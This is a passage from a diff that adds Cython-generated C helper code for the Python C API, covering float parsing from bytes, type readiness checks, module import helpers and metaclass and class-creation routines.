Py_INCREF(PyExc_StopIteration); + __Pyx_ErrRestore(PyExc_StopIteration, exc, NULL); + return; + } + #endif +#else + args = PyTuple_Pack(1, value); + if (unlikely(!args)) return; + exc = PyObject_Call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (unlikely(!exc)) return; +#endif + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); +} + +/* pybytes_as_double */ + static double __Pyx_SlowPyString_AsDouble(PyObject *obj) { + PyObject *float_value; +#if PY_MAJOR_VERSION >= 3 + float_value = PyFloat_FromString(obj); +#else + float_value = PyFloat_FromString(obj, 0); +#endif + if (likely(float_value)) { +#if CYTHON_ASSUME_SAFE_MACROS + double value = PyFloat_AS_DOUBLE(float_value); +#else + double value = PyFloat_AsDouble(float_value); +#endif + Py_DECREF(float_value); + return value; + } + return (double)-1; +} +static const char* __Pyx__PyBytes_AsDouble_Copy(const char* start, char* buffer, Py_ssize_t length) { + int last_was_punctuation = 1; + Py_ssize_t i; + for (i=0; i < length; i++) { + char chr = start[i]; + int is_punctuation = (chr == '_') | (chr == '.') | (chr == 'e') | (chr == 'E'); + *buffer = chr; + buffer += (chr != '_'); + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyBytes_AsDouble_inf_nan(const char* start, Py_ssize_t length) { + int matches = 1; + char sign = start[0]; + int is_signed = (sign == '+') | (sign == '-'); + start += is_signed; + length -= is_signed; + switch (start[0]) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + matches &= (start[1] == 'a' || start[1] == 'A'); + matches &= (start[2] == 'n' || start[2] == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + matches &= (start[1] == 'n' || start[1] == 'N'); + matches &= (start[2] == 'f' || start[2] == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + matches &= (start[3] == 'i' || start[3] == 'I'); + matches &= (start[4] == 'n' || start[4] == 'N'); + matches &= (start[5] == 'i' || start[5] == 'I'); + matches &= (start[6] == 't' || start[6] == 'T'); + matches &= (start[7] == 'y' || start[7] == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static CYTHON_INLINE int __Pyx__PyBytes_AsDouble_IsSpace(char ch) { + return (ch == 0x20) | !((ch < 0x9) | (ch > 0xd)); +} +CYTHON_UNUSED static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length) { + double value; + Py_ssize_t i, digits; + const char *last = start + length; + char *end; + while (__Pyx__PyBytes_AsDouble_IsSpace(*start)) + start++; + while (start < last - 1 && __Pyx__PyBytes_AsDouble_IsSpace(last[-1])) + last--; + length = last - start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyBytes_AsDouble_inf_nan(start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + digits = 0; + for (i=0; i < length; digits += start[i++] != '_'); + if (likely(digits == length)) { + value = PyOS_string_to_double(start, &end, NULL); + } else if (digits < 40) { + char number[40]; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((digits + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} + +/* pyobject_as_double */ + static double __Pyx__PyObject_AsDouble(PyObject* obj) { + if (PyUnicode_CheckExact(obj)) { + return __Pyx_PyUnicode_AsDouble(obj); + } else if (PyBytes_CheckExact(obj)) { + return __Pyx_PyBytes_AsDouble(obj); + } else if (PyByteArray_CheckExact(obj)) { + return __Pyx_PyByteArray_AsDouble(obj); + } else { + PyObject* float_value; +#if !CYTHON_USE_TYPE_SLOTS + float_value = PyNumber_Float(obj); if ((0)) goto bad; + (void)__Pyx_PyObject_CallOneArg; +#else + PyNumberMethods *nb = Py_TYPE(obj)->tp_as_number; + if (likely(nb) && likely(nb->nb_float)) { + float_value = nb->nb_float(obj); + if (likely(float_value) && unlikely(!PyFloat_Check(float_value))) { + __Pyx_TypeName float_value_type_name = __Pyx_PyType_GetName(Py_TYPE(float_value)); + PyErr_Format(PyExc_TypeError, + "__float__ returned non-float (type " __Pyx_FMT_TYPENAME ")", + float_value_type_name); + __Pyx_DECREF_TypeName(float_value_type_name); + Py_DECREF(float_value); + goto bad; + } + } else { + float_value = __Pyx_PyObject_CallOneArg((PyObject*)&PyFloat_Type, obj); + } +#endif + if (likely(float_value)) { + double value = PyFloat_AS_DOUBLE(float_value); + Py_DECREF(float_value); + return value; + } + } +bad: + return (double)-1; +} + +/* PyObjectCallMethod0 */ + static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name) { + PyObject *method = NULL, *result = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_CallOneArg(method, obj); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) goto bad; + result = __Pyx_PyObject_CallNoArg(method); + Py_DECREF(method); +bad: + return result; +} + +/* ValidateBasesTuple */ + #if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases) { + Py_ssize_t i, n; +#if CYTHON_ASSUME_SAFE_MACROS + n = PyTuple_GET_SIZE(bases); +#else + n = PyTuple_Size(bases); + if (n < 0) return -1; +#endif + for (i = 1; i < n; i++) + { +#if CYTHON_AVOID_BORROWED_REFS + PyObject *b0 = PySequence_GetItem(bases, i); + if (!b0) return -1; +#elif CYTHON_ASSUME_SAFE_MACROS + PyObject *b0 = PyTuple_GET_ITEM(bases, i); +#else + PyObject *b0 = PyTuple_GetItem(bases, i); + if (!b0) return -1; +#endif + PyTypeObject *b; +#if PY_MAJOR_VERSION < 3 + if (PyClass_Check(b0)) + { + PyErr_Format(PyExc_TypeError, "base class '%.200s' is an old-style class", + PyString_AS_STRING(((PyClassObject*)b0)->cl_name)); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } +#endif + b = (PyTypeObject*) b0; + if (!__Pyx_PyType_HasFeature(b, Py_TPFLAGS_HEAPTYPE)) + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "base class '" __Pyx_FMT_TYPENAME "' is not a heap type", b_name); + __Pyx_DECREF_TypeName(b_name); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + if (dictoffset == 0) + { + Py_ssize_t b_dictoffset = 0; +#if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + b_dictoffset = b->tp_dictoffset; +#else + PyObject *py_b_dictoffset = PyObject_GetAttrString((PyObject*)b, "__dictoffset__"); + if (!py_b_dictoffset) goto dictoffset_return; + b_dictoffset = PyLong_AsSsize_t(py_b_dictoffset); + Py_DECREF(py_b_dictoffset); + if (b_dictoffset == -1 && PyErr_Occurred()) goto dictoffset_return; +#endif + if (b_dictoffset) { + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "extension type '%.200s' has no __dict__ slot, " + "but base type '" __Pyx_FMT_TYPENAME "' has: " + "either add 'cdef dict __dict__' to the extension type " + "or add '__slots__ = [...]' to the base type", + type_name, b_name); + __Pyx_DECREF_TypeName(b_name); + } +#if !(CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY) + dictoffset_return: +#endif +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + } +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + } + return 0; +} +#endif + +/* PyType_Ready */ + static int __Pyx_PyType_Ready(PyTypeObject *t) { +#if CYTHON_USE_TYPE_SPECS || !(CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API) || defined(PYSTON_MAJOR_VERSION) + (void)__Pyx_PyObject_CallMethod0; +#if CYTHON_USE_TYPE_SPECS + (void)__Pyx_validate_bases_tuple; +#endif + return PyType_Ready(t); +#else + int r; + PyObject *bases = __Pyx_PyType_GetSlot(t, tp_bases, PyObject*); + if (bases && unlikely(__Pyx_validate_bases_tuple(t->tp_name, t->tp_dictoffset, bases) == -1)) + return -1; +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + { + int gc_was_enabled; + #if PY_VERSION_HEX >= 0x030A00b1 + gc_was_enabled = PyGC_Disable(); + (void)__Pyx_PyObject_CallMethod0; + #else + PyObject *ret, *py_status; + PyObject *gc = NULL; + #if PY_VERSION_HEX >= 0x030700a1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM+0 >= 0x07030400) + gc = PyImport_GetModule(__pyx_kp_u_gc); + #endif + if (unlikely(!gc)) gc = PyImport_Import(__pyx_kp_u_gc); + if (unlikely(!gc)) return -1; + py_status = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_isenabled); + if (unlikely(!py_status)) { + Py_DECREF(gc); + return -1; + } + gc_was_enabled = __Pyx_PyObject_IsTrue(py_status); + Py_DECREF(py_status); + if (gc_was_enabled > 0) { + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_disable); + if (unlikely(!ret)) { + Py_DECREF(gc); + return -1; + } + Py_DECREF(ret); + } else if (unlikely(gc_was_enabled == -1)) { + Py_DECREF(gc); + return -1; + } + #endif + t->tp_flags |= Py_TPFLAGS_HEAPTYPE; +#if PY_VERSION_HEX >= 0x030A0000 + t->tp_flags |= Py_TPFLAGS_IMMUTABLETYPE; +#endif +#else + (void)__Pyx_PyObject_CallMethod0; +#endif + r = PyType_Ready(t); +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + t->tp_flags &= ~Py_TPFLAGS_HEAPTYPE; + #if PY_VERSION_HEX >= 0x030A00b1 + if (gc_was_enabled) + PyGC_Enable(); + #else + if (gc_was_enabled) { + PyObject *tp, *v, *tb; + PyErr_Fetch(&tp, &v, &tb); + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_enable); + if (likely(ret || r == -1)) { + Py_XDECREF(ret); + PyErr_Restore(tp, v, tb); + } else { + Py_XDECREF(tp); + Py_XDECREF(v); + Py_XDECREF(tb); + r = -1; + } + } + Py_DECREF(gc); + #endif + } +#endif + return r; +#endif +} + +/* Import */ + static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { + PyObject *module = 0; + PyObject *empty_dict = 0; + PyObject *empty_list = 0; + #if PY_MAJOR_VERSION < 3 + PyObject *py_import; + py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); + if (unlikely(!py_import)) + goto bad; + if (!from_list) { + empty_list = PyList_New(0); + if (unlikely(!empty_list)) + goto bad; + from_list = empty_list; + } + #endif + empty_dict = PyDict_New(); + if (unlikely(!empty_dict)) + goto bad; + { + #if PY_MAJOR_VERSION >= 3 + if (level == -1) { + if (strchr(__Pyx_MODULE_NAME, '.') != NULL) { + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, 1); + if (unlikely(!module)) { + if (unlikely(!PyErr_ExceptionMatches(PyExc_ImportError))) + goto bad; + PyErr_Clear(); + } + } + level = 0; + } + #endif + if (!module) { + #if PY_MAJOR_VERSION < 3 + PyObject *py_level = PyInt_FromLong(level); + if (unlikely(!py_level)) + goto bad; + module = PyObject_CallFunctionObjArgs(py_import, + name, __pyx_d, empty_dict, from_list, py_level, (PyObject *)NULL); + Py_DECREF(py_level); + #else + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, level); + #endif + } + } +bad: + Py_XDECREF(empty_dict); + Py_XDECREF(empty_list); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_import); + #endif + return module; +} + +/* ImportDottedModule */ + #if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Error(PyObject *name, PyObject *parts_tuple, Py_ssize_t count) { + PyObject *partial_name = NULL, *slice = NULL, *sep = NULL; + if (unlikely(PyErr_Occurred())) { + PyErr_Clear(); + } + if (likely(PyTuple_GET_SIZE(parts_tuple) == count)) { + partial_name = name; + } else { + slice = PySequence_GetSlice(parts_tuple, 0, count); + if (unlikely(!slice)) + goto bad; + sep = PyUnicode_FromStringAndSize(".", 1); + if (unlikely(!sep)) + goto bad; + partial_name = PyUnicode_Join(sep, slice); + } + PyErr_Format( +#if PY_MAJOR_VERSION < 3 + PyExc_ImportError, + "No module named '%s'", PyString_AS_STRING(partial_name)); +#else +#if PY_VERSION_HEX >= 0x030600B1 + PyExc_ModuleNotFoundError, +#else + PyExc_ImportError, +#endif + "No module named '%U'", partial_name); +#endif +bad: + Py_XDECREF(sep); + Py_XDECREF(slice); + Py_XDECREF(partial_name); + return NULL; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Lookup(PyObject *name) { + PyObject *imported_module; +#if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + return NULL; + imported_module = __Pyx_PyDict_GetItemStr(modules, name); + Py_XINCREF(imported_module); +#else + imported_module = PyImport_GetModule(name); +#endif + return imported_module; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple) { + Py_ssize_t i, nparts; + nparts = PyTuple_GET_SIZE(parts_tuple); + for (i=1; i < nparts && module; i++) { + PyObject *part, *submodule; +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + part = PyTuple_GET_ITEM(parts_tuple, i); +#else + part = PySequence_ITEM(parts_tuple, i); +#endif + submodule = __Pyx_PyObject_GetAttrStrNoError(module, part); +#if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(part); +#endif + Py_DECREF(module); + module = submodule; + } + if (unlikely(!module)) { + return __Pyx__ImportDottedModule_Error(name, parts_tuple, i); + } + return module; +} +#endif +static PyObject *__Pyx__ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if PY_MAJOR_VERSION < 3 + PyObject *module, *from_list, *star = __pyx_n_s__25; + CYTHON_UNUSED_VAR(parts_tuple); + from_list = PyList_New(1); + if (unlikely(!from_list)) + return NULL; + Py_INCREF(star); + PyList_SET_ITEM(from_list, 0, star); + module = __Pyx_Import(name, from_list, 0); + Py_DECREF(from_list); + return module; +#else + PyObject *imported_module; + PyObject *module = __Pyx_Import(name, NULL, 0); + if (!parts_tuple || unlikely(!module)) + return module; + imported_module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(imported_module)) { + Py_DECREF(module); + return imported_module; + } + PyErr_Clear(); + return __Pyx_ImportDottedModule_WalkParts(module, name, parts_tuple); +#endif +} +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030400B1 + PyObject *module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(module)) { + PyObject *spec = __Pyx_PyObject_GetAttrStrNoError(module, __pyx_n_s_spec); + if (likely(spec)) { + PyObject *unsafe = __Pyx_PyObject_GetAttrStrNoError(spec, __pyx_n_s_initializing); + if (likely(!unsafe || !__Pyx_PyObject_IsTrue(unsafe))) { + Py_DECREF(spec); + spec = NULL; + } + Py_XDECREF(unsafe); + } + if (likely(!spec)) { + PyErr_Clear(); + return module; + } + Py_DECREF(spec); + Py_DECREF(module); + } else if (PyErr_Occurred()) { + PyErr_Clear(); + } +#endif + return __Pyx__ImportDottedModule(name, parts_tuple); +} + +/* ImportFrom */ + static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { + PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); + if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { + const char* module_name_str = 0; + PyObject* module_name = 0; + PyObject* module_dot = 0; + PyObject* full_name = 0; + PyErr_Clear(); + module_name_str = PyModule_GetName(module); + if (unlikely(!module_name_str)) { goto modbad; } + module_name = PyUnicode_FromString(module_name_str); + if (unlikely(!module_name)) { goto modbad; } + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__26); + if (unlikely(!module_dot)) { goto modbad; } + full_name = PyUnicode_Concat(module_dot, name); + if (unlikely(!full_name)) { goto modbad; } + #if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + { + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + goto modbad; + value = PyObject_GetItem(modules, full_name); + } + #else + value = PyImport_GetModule(full_name); + #endif + modbad: + Py_XDECREF(full_name); + Py_XDECREF(module_dot); + Py_XDECREF(module_name); + } + if (unlikely(!value)) { + PyErr_Format(PyExc_ImportError, + #if PY_MAJOR_VERSION < 3 + "cannot import name %.230s", PyString_AS_STRING(name)); + #else + "cannot import name %S", name); + #endif + } + return value; +} + +/* PyObjectSetAttrStr */ + #if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE int __Pyx_PyObject_SetAttrStr(PyObject* obj, PyObject* attr_name, PyObject* value) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_setattro)) + return tp->tp_setattro(obj, attr_name, value); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_setattr)) + return tp->tp_setattr(obj, PyString_AS_STRING(attr_name), value); +#endif + return PyObject_SetAttr(obj, attr_name, value); +} +#endif + +/* Py3UpdateBases */ + static PyObject* +__Pyx_PEP560_update_bases(PyObject *bases) +{ + Py_ssize_t i, j, size_bases; + PyObject *base, *meth, *new_base, *result, *new_bases = NULL; + size_bases = PyTuple_GET_SIZE(bases); + for (i = 0; i < size_bases; i++) { + base = PyTuple_GET_ITEM(bases, i); + if (PyType_Check(base)) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + meth = __Pyx_PyObject_GetAttrStrNoError(base, __pyx_n_s_mro_entries); + if (!meth && PyErr_Occurred()) { + goto error; + } + if (!meth) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + new_base = __Pyx_PyObject_CallOneArg(meth, bases); + Py_DECREF(meth); + if (!new_base) { + goto error; + } + if (!PyTuple_Check(new_base)) { + PyErr_SetString(PyExc_TypeError, + "__mro_entries__ must return a tuple"); + Py_DECREF(new_base); + goto error; + } + if (!new_bases) { + if (!(new_bases = PyList_New(i))) { + goto error; + } + for (j = 0; j < i; j++) { + base = PyTuple_GET_ITEM(bases, j); + PyList_SET_ITEM(new_bases, j, base); + Py_INCREF(base); + } + } + j = PyList_GET_SIZE(new_bases); + if (PyList_SetSlice(new_bases, j, j, new_base) < 0) { + goto error; + } + Py_DECREF(new_base); + } + if (!new_bases) { + Py_INCREF(bases); + return bases; + } + result = PyList_AsTuple(new_bases); + Py_DECREF(new_bases); + return result; +error: + Py_XDECREF(new_bases); + return NULL; +} + +/* CalculateMetaclass */ + static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { + Py_ssize_t i, nbases; +#if CYTHON_ASSUME_SAFE_MACROS + nbases = PyTuple_GET_SIZE(bases); +#else + nbases = PyTuple_Size(bases); + if (nbases < 0) return NULL; +#endif + for (i=0; i < nbases; i++) { + PyTypeObject *tmptype; +#if CYTHON_ASSUME_SAFE_MACROS + PyObject *tmp = PyTuple_GET_ITEM(bases, i); +#else + PyObject *tmp = PyTuple_GetItem(bases, i); + if (!tmp) return NULL; +#endif + tmptype = Py_TYPE(tmp); +#if PY_MAJOR_VERSION < 3 + if (tmptype == &PyClass_Type) + continue; +#endif + if (!metaclass) { + metaclass = tmptype; + continue; + } + if (PyType_IsSubtype(metaclass, tmptype)) + continue; + if (PyType_IsSubtype(tmptype, metaclass)) { + metaclass = tmptype; + continue; + } + PyErr_SetString(PyExc_TypeError, + "metaclass conflict: " + "the metaclass of a derived class " + "must be a (non-strict) subclass " + "of the metaclasses of all its bases"); + return NULL; + } + if (!metaclass) { +#if PY_MAJOR_VERSION < 3 + metaclass = &PyClass_Type; +#else + metaclass = &PyType_Type; +#endif + } + Py_INCREF((PyObject*) metaclass); + return (PyObject*) metaclass; +} + +/* PyObjectLookupSpecial */ + #if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error) { + PyObject *res; + PyTypeObject *tp = Py_TYPE(obj); +#if PY_MAJOR_VERSION < 3 + if (unlikely(PyInstance_Check(obj))) + return with_error ? __Pyx_PyObject_GetAttrStr(obj, attr_name) : __Pyx_PyObject_GetAttrStrNoError(obj, attr_name); +#endif + res = _PyType_Lookup(tp, attr_name); + if (likely(res)) { + descrgetfunc f = Py_TYPE(res)->tp_descr_get; + if (!f) { + Py_INCREF(res); + } else { + res = f(res, obj, (PyObject *)tp); + } + } else if (with_error) { + PyErr_SetObject(PyExc_AttributeError, attr_name); + } + return res; +} +#endif + +/* Py3ClassCreate */ + static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, + PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { + PyObject *ns; + if (metaclass) { + PyObject *prep = __Pyx_PyObject_GetAttrStrNoError(metaclass, __pyx_n_s_prepare); + if (prep) { + PyObject *pargs[3] = {NULL, name, bases}; + ns = __Pyx_PyObject_FastCallDict(prep, pargs+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, mkw); + Py_DECREF(prep); + } else { + if (unlikely(PyErr_Occurred())) + return NULL; + ns = PyDict_New(); + } + } else { + ns = PyDict_New(); + } + if (unlikely(!ns)) + return NULL; + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; +#if PY_VERSION_HEX >= 0x03030000 + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; +#else + CYTHON_MAYBE_UNUSED_VAR(qualname); +#endif + if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; + return ns; +bad: + Py_DECREF(ns); + return NULL; +} +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS +static int __Pyx_SetNamesPEP487(PyObject *type_obj) { + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *names_to_set, *key, *value, *set_name, *tmp; + Py_ssize_t i = 0; +#if CYTHON_USE_TYPE_SLOTS + names_to_set = PyDict_Copy(type->tp_dict); +#else + { + PyObject *d = PyObject_GetAttr(type_obj, __pyx_n_s_dict); + names_to_set = NULL; + if (likely(d)) { + PyObject *names_to_set = PyDict_New(); + int ret = likely(names_to_set) ? PyDict_Update(names_to_set, d) : -1; + Py_DECREF(d); + if (unlikely(ret < 0)) + Py_CLEAR(names_to_set); + } + } +#endif + if (unlikely(names_to_set == NULL)) + goto bad; + while (PyDict_Next(names_to_set, &i, &key, &value)) { + set_name = __Pyx_PyObject_LookupSpecialNoError(value, __pyx_n_s_set_name); + if (unlikely(set_name != NULL)) { + tmp = __Pyx_PyObject_Call2Args(set_name, type_obj, key); + Py_DECREF(set_name); + if (unlikely(tmp == NULL)) { + __Pyx_TypeName value_type_name = + __Pyx_PyType_GetName(Py_TYPE(value)); + __Pyx_TypeName type_name = __Pyx_PyType_GetName(type); + PyErr_Format(PyExc_RuntimeError, +#if PY_MAJOR_VERSION >= 3 + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %R " "in '" __Pyx_FMT_TYPENAME "'", + value_type_name, key, type_name); +#else + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %.100s in '" __Pyx_FMT_TYPENAME "'", + value_type_name, + PyString_Check(key) ? PyString_AS_STRING(key) : "?", + type_name); +#endif + goto bad; + } else { + Py_DECREF(tmp); + } + } + else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } + Py_DECREF(names_to_set); + return 0; +bad: + Py_XDECREF(names_to_set); + return -1; +} +static PyObject *__Pyx_InitSubclassPEP487(PyObject *type_obj, PyObject *mkw) { +#if CYTHON_USE_TYPE_SLOTS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *mro = type->tp_mro; + Py_ssize_t i, nbases; + if (unlikely(!mro)) goto done; + (void) &__Pyx_GetBuiltinName; + Py_INCREF(mro); + nbases = PyTuple_GET_SIZE(mro); + assert(PyTuple_GET_ITEM(mro, 0) == type_obj); + for (i = 1; i < nbases-1; i++) { + PyObject *base, *dict, *meth; + base = PyTuple_GET_ITEM(mro, i); + dict = ((PyTypeObject *)base)->tp_dict; + meth = __Pyx_PyDict_GetItemStrWithError(dict, __pyx_n_s_init_subclass); + if (unlikely(meth)) { + descrgetfunc f = Py_TYPE(meth)->tp_descr_get; + PyObject *res; + Py_INCREF(meth); + if (likely(f)) { + res = f(meth, NULL, type_obj); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + meth = res; + } + res = __Pyx_PyObject_FastCallDict(meth, NULL, 0, mkw); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + Py_DECREF(res); + goto done; + } else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } +done: + Py_XDECREF(mro); + return type_obj; +bad: + Py_XDECREF(mro); + Py_DECREF(type_obj); + return NULL; +#else + PyObject *super_type, *super, *func, *res; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + super_type = __Pyx_GetBuiltinName(__pyx_n_s_super); +#else + super_type = (PyObject*) &PySuper_Type; + (void) &__Pyx_GetBuiltinName; +#endif + super = likely(super_type) ? __Pyx_PyObject_Call2Args(super_type, type_obj, type_obj) : NULL; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + Py_XDECREF(super_type); +#endif + if (unlikely(!super)) { + Py_CLEAR(type_obj); + goto done; + } + func = __Pyx_PyObject_GetAttrStrNoError(super, __pyx_n_s_init_subclass); + Py_DECREF(super); + if (likely(!func)) { + if (unlikely(PyErr_Occurred())) + Py_CLEAR(type_obj); + goto done; + } + res = __Pyx_PyObject_FastCallDict(func, NULL, 0, mkw); + Py_DECREF(func); + if (unlikely(!res)) + Py_CLEAR(type_obj); + Py_XDECREF(res); +done: + return type_obj; +#endif +} +#endif +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, + PyObject *dict, PyObject *mkw, + int calculate_metaclass, int allow_py2_metaclass) { + PyObject *result; + PyObject *owned_metaclass = NULL; + PyObject *margs[4] = {NULL, name, bases, dict}; + if (allow_py2_metaclass) { + owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); + if (owned_metaclass) { + metaclass = owned_metaclass; + } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { + PyErr_Clear(); + } else { + return NULL; + } + } + if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { + metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); + Py_XDECREF(owned_metaclass); + if (unlikely(!metaclass)) + return NULL; + owned_metaclass = metaclass; + } + result = __Pyx_PyObject_FastCallDict(metaclass, margs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, +#if PY_VERSION_HEX < 0x030600A4 + (metaclass == (PyObject*)&PyType_Type) ? NULL : mkw +#else + mkw +#endif + ); + Py_XDECREF(owned_metaclass); +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS + if (likely(result) && likely(PyType_Check(result))) { + if (unlikely(__Pyx_SetNamesPEP487(result) < 0)) { + Py_CLEAR(result); + } else { + result = __Pyx_InitSubclassPEP487(result, mkw); + } + } +#else + (void) &__Pyx_GetBuiltinName; +#endif + return result; +} + +/* PyVectorcallFastCallDict */ + #if CYTHON_METH_FASTCALL +static PyObject *__Pyx_PyVectorcall_FastCallDict_kw(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + PyObject *res = NULL; + PyObject *kwnames; + PyObject **newargs; + PyObject **kwvalues; + Py_ssize_t i, pos; + size_t j; + PyObject *key, *value; + unsigned long keys_are_strings; + Py_ssize_t nkw = PyDict_GET_SIZE(kw); + newargs = (PyObject **)PyMem_Malloc((nargs + (size_t)nkw) * sizeof(args[0])); + if (unlikely(newargs == NULL)) { + 